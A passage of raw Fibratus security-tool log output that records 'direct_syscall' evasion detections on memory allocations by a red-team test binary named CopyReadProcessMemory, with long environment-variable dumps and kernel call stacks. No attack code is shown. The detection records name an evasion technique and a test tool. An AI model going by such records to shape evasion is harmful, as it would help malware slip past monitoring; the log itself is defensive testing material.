Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff7dfda8dea C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd6ad50 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdc8968 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd8ba78 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd6f91c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd93501 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd8f1de C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd94207 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd8b57a C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd8de7b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb2e1a C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbac5b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbac5b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbac5b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbabae C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb30ca C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbabae C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb1c58 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbab48 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbabae C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb246b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb2df0 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbabae C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb1c58 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbab48 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb1c58 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbab48 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd791df C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd7b622 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd895a9 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdd47b3 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfda3df6 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdd2467 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdd6113 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdec709 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdec5ee C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdec4ae C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdec79e C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T18:52:51+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 768281 + Pid: 5472 + Tid: 8188 + Type: VirtualAlloc + CPU: 3 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 18:52:50.3581431 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ c54fef2000, exe➜ C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe, name➜ CopyReadProcessMemory.exe, page_type➜ PRIVATE, pid➜ 5472, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 5472 + Ppid: 9772 + Name: CopyReadProcessMemory.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe" -f C:\Windows\System32\cmd.exe + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe + Cwd: C:\Fibratus\redteam\CopyReadProcessMemory\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe" -f C:\Windows\System32\cmd.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ffa996911f9 C:\Windows\System32\ucrtbased.dll!_set_new_handler|0x7ffa99691230 C:\Windows\System32\ucrtbased.dll!_query_new_mode|0x7ffa9968d1dc C:\Windows\System32\ucrtbased.dll!_calloc_base|0x7ffa9969037f C:\Windows\System32\ucrtbased.dll!_malloc_dbg|0x7ffa99690dee C:\Windows\System32\ucrtbased.dll!malloc|0x7ff7dfdeaed3 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfda8dfb C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd6ad50 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdc8968 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd8ba78 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd6f91c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd93501 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd8f1de C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd94207 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd8b57a C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd8de7b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb2e1a C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbac5b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbac5b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbac5b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbac5b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbac5b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbabae C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb30ca C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbabae C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb1c58 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbab48 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb305c C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbabae C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb246b C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb2df0 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbabae C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb1c58 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbab48 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdb1c58 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdbab48 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd791df C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd7b622 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfd895a9 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdd47b3 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfda3df6 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdd2467 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdd6113 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdec709 C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdec5ee C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdec4ae C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ff7dfdec79e C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T18:52:51+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 768289 + Pid: 5472 + Tid: 8188 + Type: VirtualAlloc + CPU: 3 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 18:52:50.3582467 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ c54feee000, exe➜ C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe, name➜ CopyReadProcessMemory.exe, page_type➜ PRIVATE, pid➜ 5472, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 5472 + Ppid: 9772 + Name: CopyReadProcessMemory.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe" -f C:\Windows\System32\cmd.exe + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\CopyReadProcessMemory\x64\Debug\CopyReadProcessMemory.exe + Cwd: C:\Fibratus\redteam\CopyReadProcessMemory\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: 